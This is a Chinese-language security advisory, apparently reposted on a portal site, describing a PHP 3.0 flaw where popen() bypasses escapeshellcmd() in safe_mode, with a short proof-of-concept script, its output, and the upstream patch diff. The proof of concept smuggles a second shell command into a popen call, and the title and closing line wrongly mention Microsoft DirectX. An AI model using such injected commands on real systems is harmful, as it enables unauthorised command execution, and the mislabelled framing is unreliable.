您好,欢迎访问一九零五行业门户网

microsoft directx PHP3 safe_mode 失效漏洞

受影响的系统:  php 3.00  
--------------------------------------------------------------------------------
描述:
    php version 3.0是一个html嵌入式脚本语言。其大多数语法移植于c、java和perl并结合了
php的特色。这个语言可以让web开发者快速创建动态网页。
    因其执行在web服务器上并允许用户执行代码,php内置了称为'safe_mode'的安全特性,
用于控制在允许php操作的webroot环境中执行命令。
    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到escapeshellcmd()
函数,此函数用于确认在webroot目录外部不能执行命令。
    在某些版本的php中,使用popen()命令时escapeshellcmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。
--------------------------------------------------------------------------------
测试程序:
警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
$fp = popen(ls -l /opt/bin; /usr/bin/id, r);
echo $fp<br>n;
while($line = fgets($fp, 1024)):
printf(%s<br>n, $line);
endwhile;
pclose($fp);
phpinfo();
?>
输出结果如下:
1
total 53  
-rwxr-xr-x 1 root root 52292 jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  
--------------------------------------------------------------------------------
建议:  
index: functions/file.c
===================================================================
rcs file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| authors: rasmus lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $id: file.c,v 1.229 2000/01/01 04:31:15 sas exp $ */
+/* $id: file.c,v 1.230 2000/01/03 21:31:31 kk exp $ */
#include php.h
#include <stdio.h>
@@ -51,6 +51,7 @@
#include safe_mode.h
#include php3_list.h
#include php3_string.h
+#include exec.h
#include file.h
#if have_pwd_h
#if msvc5
@@ -575,7 +576,7 @@
pval *arg1, *arg2;
file *fp;
int id;
- char *p;
+ char *p, *tmp = null;
char *b, buf[1024];
tls_vars;
@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),%s/%s,php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
- fp = popen(buf,p);
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(e_warning,popen(%s,%s) - %s,buf,p,strerror(errno));
return_false;
以上就介绍了microsoft directx php3 safe_mode 失效漏洞,包括了microsoft directx方面的内容,希望对php教程有兴趣的朋友有所帮助。
其它类似信息

推荐信息